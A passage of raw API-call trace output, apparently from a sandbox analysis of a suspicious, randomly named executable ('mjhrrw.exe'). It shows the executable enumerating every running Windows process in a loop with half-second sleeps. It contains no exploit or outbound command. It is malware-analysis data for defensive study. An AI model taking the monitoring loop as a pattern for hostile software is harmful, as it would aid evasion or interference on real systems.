cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.121] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.122] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.122] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.123] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0230.123] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0230.124] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0230.125] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0230.125] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0230.126] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.126] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0230.127] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0230.127] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0230.128] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0230.129] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0230.129] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0230.130] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0230.130] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0230.131] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0230.132] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0230.132] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0230.133] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0230.133] CloseHandle (hObject=0x380) returned 1 [0230.134] Sleep (dwMilliseconds=0x1f4) [0230.933] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x37c [0230.980] Process32FirstW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0230.983] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0230.984] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0230.985] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.986] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0230.987] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0230.987] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0230.988] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0230.989] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0230.990] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.990] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0230.991] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.992] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.992] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0230.993] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.993] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.994] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.994] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.995] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.996] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.997] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.998] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0230.999] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0230.999] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.000] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.000] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0231.001] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0231.001] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0231.002] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.003] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.003] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.004] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.004] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.005] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.006] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.006] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0231.012] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0231.013] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0231.014] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.014] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0231.015] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0231.015] Process32NextW (in: hSnapshot=0x37c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0231.016] CloseHandle (hObject=0x37c) returned 1 [0231.016] Sleep (dwMilliseconds=0x1f4) [0231.817] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0231.826] Process32FirstW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.827] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.827] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.828] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.829] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.829] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.830] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.831] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.832] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.832] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.833] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.834] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.835] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.835] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.836] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.837] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.837] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.838] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, 